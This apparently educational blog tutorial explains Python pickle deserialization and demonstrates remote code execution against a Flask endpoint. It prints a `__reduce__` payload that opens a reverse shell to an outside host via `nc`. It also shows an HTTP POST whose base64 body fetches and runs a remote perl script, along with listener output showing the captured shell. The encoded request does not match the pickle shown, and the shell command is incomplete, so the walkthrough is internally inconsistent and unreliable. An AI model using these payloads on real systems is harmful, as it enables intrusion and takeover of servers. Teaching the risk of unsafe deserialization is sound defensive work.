Pickle is a serialization/deserialization module located within the standard Python library. For those unfamiliar with serialization/deserialization; it is a way of converting objects and data structures to files or databases so that they can be reconstructed later (possibly in a different environment). This process is called serialization and deserialization, but in Python, it is instead called pickling and unpickling. The key thing to note is pickle pickle does not perform any “security checks” on the data that is being unpicked.
From the Pickle documentation:
Warning The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
To demonstrate why this can be problematic, consider the following function responsible for handling POST request data sent to
import cPickle import base64 ... @app.route("/newpost", methods=["POST"]) def newpost(): picklestr = base64.urlsafe_b64decode(request.data) postObj = pickle.loads(picklestr) return "POST RECEIVED: " + postObj['Subject'] ...
The function will attempt to decode POST data base64 and unpickle whatever is in the base64 with
pickle.loads(). Since pickle does not care for what is contained inside the object prior to unpickling, an attacker may simply construct a malicious pickle and feed it to the function which processes it, granting RCE in return.
The following code will serialize a pickle that, when unpickled, instructs the handler to execute an arbitrary bash command from system
os which pickle will gladly import.
import cPickle import base64 class MMM(object): def __reduce__(self): import os s = "/bin/sh -i 2>&1 | nc elliot.sh 443 > /tmp/f" return (os.popen, (s,)) payload = cPickle.dumps(MMM()) print payload
$ python pickle.py cposix popen p1 (S'/bin/sh -i 2>&1 | nc elliot.sh 443 > /tmp/f' p2 tRp3 .
Now we just need to base64 this and POST it to the vulnerable endpoint
POST /newpost HTTP/1.1 Host: example.com Connection: close Content-Length: 65 Y3Bvc2l4CnBvcGVuCnAxCihTJ3dnZXQgMTAuMTAuMTQuMTQvc2hlbGwucGwgLVAgL3RtcC87Y2htb2QgK3ggL3RtcC9zaGVsbC5wbDtwZXJsIC90bXAvc2hlbGwucGwnCnAyCnRScDMKLg==
As expected we get a shell
$ nc -lnvp 443 listening on [any] 443 ... connect to [18.104.22.168] from (UNKNOWN) [22.214.171.124] 52904 /bin/sh: 0: can't access tty; job control turned off $ id uid=1002(www) gid=1002(www) groups=1002(www)